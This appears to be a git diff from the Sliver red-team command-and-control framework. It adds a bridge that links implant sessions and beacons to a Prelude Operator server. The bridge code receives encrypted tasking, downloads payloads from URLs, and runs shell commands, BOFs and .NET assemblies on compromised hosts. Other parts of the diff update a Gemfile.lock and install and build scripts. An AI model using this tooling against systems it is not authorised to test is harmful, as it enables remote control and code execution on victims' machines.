PBeacon: pbeacon,
recv: make(chan []byte),
send: make(chan []byte),
}
}
func (a *OperatorImplantBridge) register() {
data, err := json.Marshal(a.PBeacon)
if err != nil {
return
}
encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
(*a.Conn).Write(dataBuff)
}
func (a *OperatorImplantBridge) ReceiveLoop() {
a.register()
go func() {
for {
data := <-a.send
encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
(*a.Conn).Write(dataBuff)
time.Sleep(time.Duration(a.PBeacon.Sleep))
}
}()
for {
scanner := bufio.NewScanner(*a.Conn)
for scanner.Scan() {
msg := strings.TrimSpace(scanner.Text())
a.handleMessage(msg)
}
}
}
func (a *OperatorImplantBridge) handleMessage(message string) {
var tempBeacon OperatorBeacon
decoded, err := hex.DecodeString(message)
if err != nil {
return
}
if err := json.Unmarshal(util.PreludeDecrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
a.PBeacon.Links = a.PBeacon.Links[:0]
a.runLinks(&tempBeacon)
}
}
func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *OperatorBeacon) {
for _, link := range implantBridge.Config.StartInstructions(tempBeacon.Links) {
time.Sleep(time.Second * 1)
var payload []byte
if link.Payload != "" {
payload, _ = requestPayload(link.Payload)
}
// If we're running on a Beacon
if implantBridge.BeaconCallback != nil {
RunCommand(link.Request, link.Executor, payload, implantBridge, func(response string, status int, pid int) {
link.Response = response
link.Status = status
link.Pid = pid
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
implantBridge.Config.EndInstruction(link)
implantBridge.refreshBeacon()
data, err := json.Marshal(implantBridge.PBeacon)
if err != nil {
return
}
implantBridge.send <- data
})
return
}
// Running on a Session
response, status, pid := RunCommand(link.Request, link.Executor, payload, implantBridge, nil)
link.Response = response
link.Status = status
link.Pid = pid
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
implantBridge.Config.EndInstruction(link)
implantBridge.refreshBeacon()
data, err := json.Marshal(implantBridge.PBeacon)
if err != nil {
return
}
implantBridge.send <- data
}
}
func requestPayload(target string) ([]byte, error) {
resp, err := http.Get(target)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
}
return ioutil.ReadAll(resp.Body)
}
func (a *OperatorImplantBridge) refreshBeacon() {
var pwd string
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a.Implant),
})
if pwdResp != nil {
pwd = pwdResp.Path
}
a.PBeacon.Sleep = a.Config.Sleep
a.PBeacon.Range = a.Config.Range
a.PBeacon.Pwd = pwd
a.PBeacon.Target = a.Config.Address
a.PBeacon.Executing = a.Config.BuildExecutingHash()
}
func MakeRequest(a ActiveImplant) *commonpb.Request {
timeout := int64(defaultTimeout)
req := &commonpb.Request{
Timeout: timeout,
}
if a == nil {
return nil
}
beacon, ok := a.(*clientpb.Beacon)
if ok {
req.BeaconID = beacon.ID
req.Async = true
return req
}
session, ok := a.(*clientpb.Session)
if ok {
req.SessionID = session.ID
req.Async = false
return req
}
return nil
}
+53 -14
View File
@@ -2,7 +2,7 @@ package prelude
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -24,11 +24,13 @@ import (
"fmt"
"strings"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
//RunCommand executes a given command
func RunCommand(message string, executor string, payload []byte, agentSession *AgentSession) (string, int, int) {
func RunCommand(message string, executor string, payload []byte, agentSession *OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
switch executor {
case "keyword":
task := splitMessage(message, '.')
@@ -46,7 +48,25 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
if payload == nil {
return "missing BOF file", ErrorExitStatus, ErrorExitStatus
}
out, err := runBOF(agentSession.Session, agentSession.RPC, payload, bargs)
out, err := runBOF(agentSession.Implant, agentSession.RPC, payload, bargs, onFinish)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return out, 0, 0
case "execute-assembly":
if len(task) < 2 {
break
}
var eaargs execasmArgs
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
err := json.Unmarshal([]byte(argStr), &eaargs)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
if payload == nil {
return "missing .NET assembly", ErrorExitStatus, ErrorExitStatus
}
out, err := execAsm(agentSession.Implant, agentSession.RPC, payload, eaargs, onFinish)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
@@ -57,30 +77,47 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
}
default:
bites, status, pid := execute(message, executor, agentSession)
bites, status, pid := execute(message, executor, agentSession, onFinish)
return string(bites), status, pid
}
return "", ErrorExitStatus, ErrorExitStatus
}
func execute(cmd string, executor string, agentSession *AgentSession) (string, int, int) {
func execute(cmd string, executor string, implantBridge *OperatorImplantBridge, onFinishCallback func(string, int, int)) (string, int, int) {
args := append(getCmdArg(executor), cmd)
if executor == "psh" {
executor = "powershell.exe"
} else if executor == "exec" {
commandSections := strings.Fields(cmd)
executor = commandSections[0]
args = commandSections[1:]
}
execResp, err := agentSession.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
execResp, err := implantBridge.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
Path: executor,
Args: args,
Output: true,
Request: MakeRequest(agentSession.Session),
Request: MakeRequest(implantBridge.Implant),
})
if err != nil {
return fmt.Sprintf("Error: %s\n", err.Error()), 0, 0
return fmt.Sprintf("Error: %s\n", err.Error()), -1, -1
}
// Beacon
if execResp.Response != nil && execResp.Response.Async {
implantBridge.BeaconCallback(execResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execResp)
if err != nil {
return
}
onFinishCallback(string(execResp.Stdout), int(execResp.Status), int(execResp.Pid))
})
return "", 0, 0
}
// Session
if execResp.Response != nil && execResp.Response.Err != "" {
return execResp.Response.Err, 0, 0
return execResp.Response.Err, SuccessExitStatus, SuccessExitStatus
}
return string(execResp.Stdout), int(execResp.Status), int(execResp.Pid)
}
@@ -89,9 +126,11 @@ func getCmdArg(executor string) []string {
var args []string
switch executor {
case "cmd":
args = []string{"/C", "/S"}
args = []string{"/S", "/C"}
case "powershell", "psh":
args = []string{"-execu", "ByPasS", "-C"}
args = []string{"-execu", "-C"}
case "exec":
args = []string{}
case "sh", "bash", "zsh":
args = []string{"-c"}
}
@@ -109,13 +148,13 @@ func splitMessage(message string, splitRune rune) []string {
return values
}
func shutdown(agentSession *AgentSession) (string, int, int) {
func shutdown(agentSession *OperatorImplantBridge) (string, int, int) {
_, err := agentSession.RPC.Kill(context.Background(), &sliverpb.KillReq{
Force: false,
Request: MakeRequest(agentSession.Session),
Request: MakeRequest(agentSession.Implant),
})
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return fmt.Sprintf("Terminated %s", agentSession.Session.Name), SuccessExitStatus, SuccessExitStatus
return fmt.Sprintf("Terminated %s", agentSession.Implant.GetID()), SuccessExitStatus, int(agentSession.Implant.GetPID())
}
+3 -3
View File
@@ -2,7 +2,7 @@ package prelude
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -32,7 +32,7 @@ const (
type Configuration interface {
ApplyConfig(ac map[string]interface{})
BuildBeacon() Beacon
BuildBeacon() OperatorBeacon
}
type AgentConfig struct {
@@ -52,7 +52,7 @@ type AgentConfig struct {
Executing map[string]Instruction
}
type Beacon struct {
type OperatorBeacon struct {
Name string
Target string
Hostname string
+68
View File
@@ -0,0 +1,68 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
type execasmArgs struct {
IsDLL bool `json:"isDLL"`
Process string `json:"process"`
Arguments string `json:"arguments"`
Architecture string `json:"architecture"`
Method string `json:"method"`
Class string `json:"class"`
AppDomain string `json:"appDomain"`
}
func execAsm(implant ActiveImplant, rpc rpcpb.SliverRPCClient, asm []byte, args execasmArgs, onFinishCallback func(string, int, int)) (output string, err error) {
extResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: MakeRequest(implant),
IsDLL: args.IsDLL,
Process: args.Process,
Arguments: args.Arguments,
Assembly: asm,
Arch: args.Architecture,
Method: args.Method,
ClassName: args.Class,
AppDomain: args.AppDomain,
})
if err != nil {
return
}
// If Async req, onFinishCallback won't be nil
if onFinishCallback != nil {
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
return
}
if extResp.Response != nil && extResp.Response.Err != "" {
err = errors.New(extResp.Response.Err)
}
output = string(extResp.Output)
return
}
+58 -42
View File
@@ -2,7 +2,7 @@ package prelude
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -21,7 +21,6 @@ package prelude
import (
"context"
"errors"
"fmt"
"net"
"sync"
@@ -31,7 +30,7 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var SessionMapper *PreludeSessionMapper
var ImplantMapper *OperatorImplantMapper
const defaultImplantSleep = 5
@@ -42,30 +41,45 @@ type OperatorConfig struct {
AESKey string
}
type PreludeSessionMapper struct {
sessions []*AgentSession
conf *OperatorConfig
// OperatorImplantMapper maps an OperatorConfig with
// active Sliver implant sessions/beacons
type OperatorImplantMapper struct {
implantBridges []*OperatorImplantBridge
conf *OperatorConfig
sync.Mutex
}
func InitSessionMapper(conf *OperatorConfig) *PreludeSessionMapper {
if SessionMapper == nil {
SessionMapper = &PreludeSessionMapper{
sessions: make([]*AgentSession, 0),
conf: conf,
}
}
return SessionMapper
// ActiveImplant exposes common methods between
// Sliver clientpb.Session and clientpb.Beacon
// that are required by Operator implants
type ActiveImplant interface {
GetID() string
GetHostname() string
GetPID() int32
GetOS() string
GetArch() string
GetFilename() string
GetReconnectInterval() int64
}
func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
func InitImplantMapper(conf *OperatorConfig) *OperatorImplantMapper {
if ImplantMapper == nil {
ImplantMapper = &OperatorImplantMapper{
implantBridges: make([]*OperatorImplantBridge, 0),
conf: conf,
}
}
return ImplantMapper
}
func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string, func(*clientpb.BeaconTask))) error {
var pwd string
conn, err := net.Dial("tcp", p.conf.OperatorURL)
if err != nil {
return err
}
pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(s),
Request: MakeRequest(a),
})
if err != nil {
return err
@@ -73,55 +87,57 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
if pwdResp != nil {
pwd = pwdResp.Path
}
// Operator implants have embedded static IDs, but we don't,
// so to avoid having multiple sessions showing as one on the Operator
// GUI, we need to have a unique name for them.
// Plus, having the ID in the name will help the user to make the
// correlation.
sessName := fmt.Sprintf("%s-%s", s.Name, s.ID)
beacon := Beacon{
Name: sessName,
// Use a default sleep time for sessions,
// but respect the one we have for beacons
sleepTime := defaultImplantSleep
if b, ok := a.(*clientpb.Beacon); ok {
sleepTime = int(b.ReconnectInterval)
}
beacon := OperatorBeacon{
Name: a.GetID(),
Target: p.conf.OperatorURL,
Hostname: s.Hostname,
Location: s.Filename,
Platform: s.OS,
Hostname: a.GetHostname(),
Location: a.GetFilename(),
Platform: a.GetOS(),
Range: p.conf.Range,
Executors: util.DetermineExecutors(s.OS, s.Arch),
Executors: util.DetermineExecutors(a.GetOS(), a.GetArch()),
Links: make([]Instruction, 0),
Executing: "",
Pwd: pwd,
Sleep: defaultImplantSleep,
Sleep: int(sleepTime),
}
if p.conf.AESKey == "" {
return errors.New("missing AES key")
}
a.GetID()
encryptionKey := p.conf.AESKey
agentConfig := AgentConfig{
Name: sessName,
Name: a.GetID(),
AESKey: encryptionKey,
Range: p.conf.Range,
Contact: "tcp",
Address: p.conf.OperatorURL,
Pid: int(s.PID),
Pid: int(a.GetPID()),
Executing: make(map[string]Instruction),
Sleep: defaultImplantSleep,
Sleep: int(sleepTime),
}
util.EncryptionKey = &agentConfig.AESKey
agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
bridge := NewImplantBridge(&conn, a, p.conf.RPC, beacon, agentConfig, callback)
p.Lock()
p.sessions = append(p.sessions, agentSession)
p.implantBridges = append(p.implantBridges, bridge)
p.Unlock()
go agentSession.ReceiveLoop()
go bridge.ReceiveLoop()
return nil
}
func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
func (p *OperatorImplantMapper) RemoveImplant(imp ActiveImplant) (err error) {
p.Lock()
for _, agentSession := range p.sessions {
if agentSession.Session.ID == s.ID {
if agentSession.Conn != nil {
err = (*agentSession.Conn).Close()
for _, bridge := range p.implantBridges {
if bridge.Implant.GetID() == imp.GetID() {
if bridge.Conn != nil {
err = (*bridge.Conn).Close()
} else {
err = errors.New("connection is nil")
}
@@ -131,6 +147,6 @@ func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
return err
}
func (p *PreludeSessionMapper) GetConfig() *OperatorConfig {
func (p *OperatorImplantMapper) GetConfig() *OperatorConfig {
return p.conf
}
+6 -8
View File
@@ -21,25 +21,23 @@ package util
func DetermineExecutors(platform string, arch string) []string {
platformExecutors := map[string]map[string][]string{
"windows": {
"file": {"pwsh.exe", "powershell.exe", "cmd.exe"},
"executor": {"pwsh", "psh", "cmd", "bof"},
"file": {"pwsh.exe", "powershell.exe", "cmd.exe", "", ""},
"executor": {"pwsh", "psh", "cmd", "bof", "exec"},
},
"linux": {
"file": {"python3", "pwsh", "sh", "bash"},
"executor": {"python", "pwsh", "sh", "bash"},
"file": {"python3", "sh", "bash"},
"executor": {"python", "sh", "bash"},
},
"darwin": {
"file": {"python3", "pwsh", "zsh", "sh", "osascript", "bash"},
"executor": {"python", "pwsh", "zsh", "sh", "osa", "bash"},
"file": {"python3", "zsh", "sh", "osascript", "bash"},
"executor": {"python", "zsh", "sh", "osa", "bash"},
},
}
var executors []string
for platformKey, platformValue := range platformExecutors {
if platform == platformKey {
for i := range platformValue["file"] {
// if checkIfExecutorAvailable(platformValue["file"][i]) {
executors = append(executors, platformExecutors[platformKey]["executor"][i])
// }
}
}
}
+90 -84
View File
@@ -1,7 +1,7 @@
GEM
remote: https://rubygems.org/
specs:
activesupport (6.0.4)
activesupport (6.0.4.6)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 0.7, < 2)
minitest (~> 5.1)
@@ -14,48 +14,54 @@ GEM
execjs
coffee-script-source (1.11.1)
colorator (1.1.0)
commonmarker (0.17.13)
ruby-enum (~> 0.5)
commonmarker (0.23.4)
concurrent-ruby (1.1.9)
dnsruby (1.61.7)
dnsruby (1.61.9)
simpleidn (~> 0.1)
em-websocket (0.5.2)
em-websocket (0.5.3)
eventmachine (>= 0.12.9)
http_parser.rb (~> 0.6.0)
ethon (0.14.0)
http_parser.rb (~> 0)
ethon (0.15.0)
ffi (>= 1.15.0)
eventmachine (1.2.7)
execjs (2.8.1)
faraday (1.5.0)
faraday (1.10.0)
faraday-em_http (~> 1.0)
faraday-em_synchrony (~> 1.0)
faraday-excon (~> 1.1)
faraday-httpclient (~> 1.0.1)
faraday-httpclient (~> 1.0)
faraday-multipart (~> 1.0)
faraday-net_http (~> 1.0)
faraday-net_http_persistent (~> 1.1)
faraday-net_http_persistent (~> 1.0)
faraday-patron (~> 1.0)
multipart-post (>= 1.2, < 3)
faraday-rack (~> 1.0)
faraday-retry (~> 1.0)
ruby2_keywords (>= 0.0.4)
faraday-em_http (1.0.0)
faraday-em_synchrony (1.0.0)
faraday-excon (1.1.0)
faraday-httpclient (1.0.1)
faraday-multipart (1.0.3)
multipart-post (>= 1.2, < 3)
faraday-net_http (1.0.1)
faraday-net_http_persistent (1.1.0)
faraday-net_http_persistent (1.2.0)
faraday-patron (1.0.0)
ffi (1.15.3)
faraday-rack (1.0.0)
faraday-retry (1.0.3)
ffi (1.15.5)
forwardable-extended (2.6.0)
gemoji (3.0.1)
github-pages (215)
github-pages-health-check (= 1.17.2)
github-pages (225)
github-pages-health-check (= 1.17.9)
jekyll (= 3.9.0)
jekyll-avatar (= 0.7.0)
jekyll-coffeescript (= 1.1.1)
jekyll-commonmark-ghpages (= 0.1.6)
jekyll-commonmark-ghpages (= 0.2.0)
jekyll-default-layout (= 0.1.4)
jekyll-feed (= 0.15.1)
jekyll-gist (= 1.5.0)
jekyll-github-metadata (= 2.13.0)
jekyll-include-cache (= 0.2.1)
jekyll-mentions (= 1.6.0)
jekyll-optional-front-matter (= 0.3.2)
jekyll-paginate (= 1.1.0)
@@ -64,22 +70,22 @@ GEM
jekyll-relative-links (= 0.6.1)
jekyll-remote-theme (= 0.4.3)
jekyll-sass-converter (= 1.5.2)
jekyll-seo-tag (= 2.7.1)
jekyll-seo-tag (= 2.8.0)
jekyll-sitemap (= 1.4.0)
jekyll-swiss (= 1.0.0)
jekyll-theme-architect (= 0.1.1)
jekyll-theme-cayman (= 0.1.1)
jekyll-theme-dinky (= 0.1.1)
jekyll-theme-hacker (= 0.1.2)
jekyll-theme-leap-day (= 0.1.1)
jekyll-theme-merlot (= 0.1.1)
jekyll-theme-midnight (= 0.1.1)
jekyll-theme-minimal (= 0.1.1)
jekyll-theme-modernist (= 0.1.1)
jekyll-theme-primer (= 0.5.4)
jekyll-theme-slate (= 0.1.1)
jekyll-theme-tactile (= 0.1.1)
jekyll-theme-time-machine (= 0.1.1)
jekyll-theme-architect (= 0.2.0)
jekyll-theme-cayman (= 0.2.0)
jekyll-theme-dinky (= 0.2.0)
jekyll-theme-hacker (= 0.2.0)
jekyll-theme-leap-day (= 0.2.0)
jekyll-theme-merlot (= 0.2.0)
jekyll-theme-midnight (= 0.2.0)
jekyll-theme-minimal (= 0.2.0)
jekyll-theme-modernist (= 0.2.0)
jekyll-theme-primer (= 0.6.0)
jekyll-theme-slate (= 0.2.0)
jekyll-theme-tactile (= 0.2.0)
jekyll-theme-time-machine (= 0.2.0)
jekyll-titles-from-headings (= 0.5.3)
jemoji (= 0.12.0)
kramdown (= 2.3.1)
@@ -87,19 +93,19 @@ GEM
liquid (= 4.0.3)
mercenary (~> 0.3)
minima (= 2.5.1)
nokogiri (>= 1.10.4, < 2.0)
nokogiri (>= 1.12.5, < 2.0)
rouge (= 3.26.0)
terminal-table (~> 1.4)
github-pages-health-check (1.17.2)
github-pages-health-check (1.17.9)
addressable (~> 2.3)
dnsruby (~> 1.60)
octokit (~> 4.0)
public_suffix (>= 2.0.2, < 5.0)
public_suffix (>= 3.0, < 5.0)
typhoeus (~> 1.3)
html-pipeline (2.14.0)
activesupport (>= 2)
nokogiri (>= 1.4)
http_parser.rb (0.6.0)
http_parser.rb (0.8.0)
i18n (0.9.5)
concurrent-ruby (~> 1.0)
jekyll (3.9.0)
@@ -120,12 +126,12 @@ GEM
jekyll-coffeescript (1.1.1)
coffee-script (~> 2.2)
coffee-script-source (~> 1.11.1)
jekyll-commonmark (1.3.1)
commonmarker (~> 0.14)
jekyll (>= 3.7, < 5.0)
jekyll-commonmark-ghpages (0.1.6)
commonmarker (~> 0.17.6)
jekyll-commonmark (~> 1.2)
jekyll-commonmark (1.4.0)
commonmarker (~> 0.22)
jekyll-commonmark-ghpages (0.2.0)
commonmarker (~> 0.23.4)
jekyll (~> 3.9.0)
jekyll-commonmark (~> 1.4.0)
rouge (>= 2.0, < 4.0)
jekyll-default-layout (0.1.4)
jekyll (~> 3.0)
@@ -136,6 +142,8 @@ GEM
jekyll-github-metadata (2.13.0)
jekyll (>= 3.4, < 5.0)
octokit (~> 4.0, != 4.4.0)
jekyll-include-cache (0.2.1)
jekyll (>= 3.7, < 5.0)
jekyll-mentions (1.6.0)
html-pipeline (~> 2.3)
jekyll (>= 3.7, < 5.0)
@@ -155,50 +163,50 @@ GEM
rubyzip (>= 1.3.0, < 3.0)
jekyll-sass-converter (1.5.2)
sass (~> 3.4)
jekyll-seo-tag (2.7.1)
jekyll-seo-tag (2.8.0)
jekyll (>= 3.8, < 5.0)
jekyll-sitemap (1.4.0)
jekyll (>= 3.7, < 5.0)
jekyll-swiss (1.0.0)
jekyll-theme-architect (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-cayman (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-dinky (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-hacker (0.1.2)
jekyll-theme-architect (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-leap-day (0.1.1)
jekyll (~> 3.5)
jekyll-theme-cayman (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-merlot (0.1.1)
jekyll (~> 3.5)
jekyll-theme-dinky (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-midnight (0.1.1)
jekyll (~> 3.5)
jekyll-theme-hacker (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-minimal (0.1.1)
jekyll (~> 3.5)
jekyll-theme-leap-day (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-modernist (0.1.1)
jekyll (~> 3.5)
jekyll-theme-merlot (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-primer (0.5.4)
jekyll-theme-midnight (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-minimal (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-modernist (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-primer (0.6.0)
jekyll (> 3.5, < 5.0)
jekyll-github-metadata (~> 2.9)
jekyll-seo-tag (~> 2.0)
jekyll-theme-slate (0.1.1)
jekyll (~> 3.5)
jekyll-theme-slate (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-tactile (0.1.1)
jekyll (~> 3.5)
jekyll-theme-tactile (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-time-machine (0.1.1)
jekyll (~> 3.5)
jekyll-theme-time-machine (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-titles-from-headings (0.5.3)
jekyll (>= 3.3, < 5.0)
@@ -213,35 +221,33 @@ GEM
kramdown-parser-gfm (1.1.0)
kramdown (~> 2.0)
liquid (4.0.3)
listen (3.5.1)
listen (3.7.1)
rb-fsevent (~> 0.10, >= 0.10.3)
rb-inotify (~> 0.9, >= 0.9.10)
mercenary (0.3.6)
mini_portile2 (2.6.1)
mini_portile2 (2.8.0)
minima (2.5.1)
jekyll (>= 3.5, < 5.0)
jekyll-feed (~> 0.9)
jekyll-seo-tag (~> 2.1)
minitest (5.14.4)
minitest (5.15.0)
multipart-post (2.1.1)
nokogiri (1.12.5)
mini_portile2 (~> 2.6.1)
nokogiri (1.13.6)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
octokit (4.21.0)
octokit (4.22.0)
faraday (>= 0.9)
sawyer (~> 0.8.0, >= 0.5.3)
pathutil (0.16.2)
forwardable-extended (~> 2.6)
public_suffix (4.0.6)
racc (1.5.2)
rb-fsevent (0.11.0)
racc (1.6.0)
rb-fsevent (0.11.1)
rb-inotify (0.10.1)
ffi (~> 1.0)
rexml (3.2.5)
rouge (3.26.0)
ruby-enum (0.9.0)
i18n
ruby2_keywords (0.0.4)
ruby2_keywords (0.0.5)
rubyzip (2.3.2)
safe_yaml (1.0.5)
sass (3.7.4)
@@ -259,16 +265,16 @@ GEM
thread_safe (0.3.6)
typhoeus (1.4.0)
ethon (>= 0.9.0)
tzinfo (1.2.9)
tzinfo (1.2.10)
thread_safe (~> 0.1)
tzinfo-data (1.2021.1)
tzinfo-data (1.2021.5)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.7.7)
unicode-display_width (1.7.0)
unf_ext (0.0.8)
unicode-display_width (1.8.0)
wdm (0.1.1)
zeitwerk (2.4.2)
zeitwerk (2.5.4)
PLATFORMS
ruby
+11 -32
View File
@@ -10,13 +10,13 @@ fi
if [ -n "$(command -v yum)" ]
then
yum -y install zip unzip gnupg curl gcc gcc-c++ make mingw64-gcc
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc
fi
if [ -n "$(command -v apt-get)" ]
then
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
zip unzip gpg curl build-essential \
gpg curl build-essential \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
fi
@@ -32,12 +32,6 @@ then
echo "awk could not be found"
exit 1
fi
# Zip
if ! command -v zip &> /dev/null
then
echo "zip could not be found"
exit 1
fi
# GPG
if ! command -v gpg &> /dev/null
then
@@ -106,49 +100,34 @@ EOF
# Download and Unpack Sliver Server
#
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
SLIVER_SERVER_ZIP='sliver-server_linux.zip'
SLIVER_CLIENT_ZIP='sliver-client_linux.zip'
SLIVER_SERVER='sliver-server'
SLIVER_CLIENT='sliver-client'
SLIVER_SERVER='sliver-server_linux'
SLIVER_CLIENT='sliver-client_linux'
for URL in $ARTIFACTS
do
if [[ "$URL" == *"$SLIVER_SERVER_ZIP"* ]]; then
if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
fi
if [[ "$URL" == *"$SLIVER_CLIENT_ZIP"* ]]; then
if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
fi
done
echo "Verifying signatures ..."
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER_ZIP.sig /root/$SLIVER_SERVER_ZIP
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT_ZIP.sig /root/$SLIVER_CLIENT_ZIP
if test -f "/root/$SLIVER_SERVER_ZIP"; then
unzip -o /root/$SLIVER_SERVER_ZIP -d /root
rm -f /root/$SLIVER_SERVER_ZIP
else
exit 2
fi
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER.sig /root/$SLIVER_SERVER
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT.sig /root/$SLIVER_CLIENT
if test -f "/root/$SLIVER_SERVER"; then
chmod 755 /root/$SLIVER_SERVER
/root/$SLIVER_SERVER unpack --force
mv /root/$SLIVER_SERVER /root/sliver-server
chmod 755 /root/sliver-server
/root/sliver-server unpack --force
else
exit 3
fi
if test -f "/root/$SLIVER_CLIENT_ZIP"; then
unzip -o /root/$SLIVER_CLIENT_ZIP -d /root
rm -f /root/$SLIVER_CLIENT_ZIP
else
exit 2
fi
if test -f "/root/$SLIVER_CLIENT"; then
chmod 755 /root/$SLIVER_CLIENT
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
+50 -8
View File
@@ -20,12 +20,12 @@ set -e
# Creates the static go asset archives
GO_VER="1.17.6"
GARBLE_VER="1.17.5"
GO_VER="1.18.5"
GARBLE_VER="1.18.0"
SGN_VER="0.0.3"
GO_ARCH_1="amd64"
GO_ARCH_2="arm64"
GO_ARCH_3="386"
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
if ! [ -x "$(command -v curl)" ]; then
@@ -102,9 +102,9 @@ cp -vv darwin-go.zip $OUTPUT_DIR/darwin/$GO_ARCH_2/go.zip
rm -rf ./go
rm -f darwin-go.zip go$GO_VER.darwin-$GO_ARCH_2.tar.gz
# --- Linux ---
curl --output go$GO_VER.linux-amd64.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_1.tar.gz
tar xvf go$GO_VER.linux-amd64.tar.gz
# --- Linux (amd64) ---
curl --output go$GO_VER.linux-$GO_ARCH_1.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_1.tar.gz
tar xvf go$GO_VER.linux-$GO_ARCH_1.tar.gz
cd go
rm -rf $BLOAT_FILES
rm -rf ./src
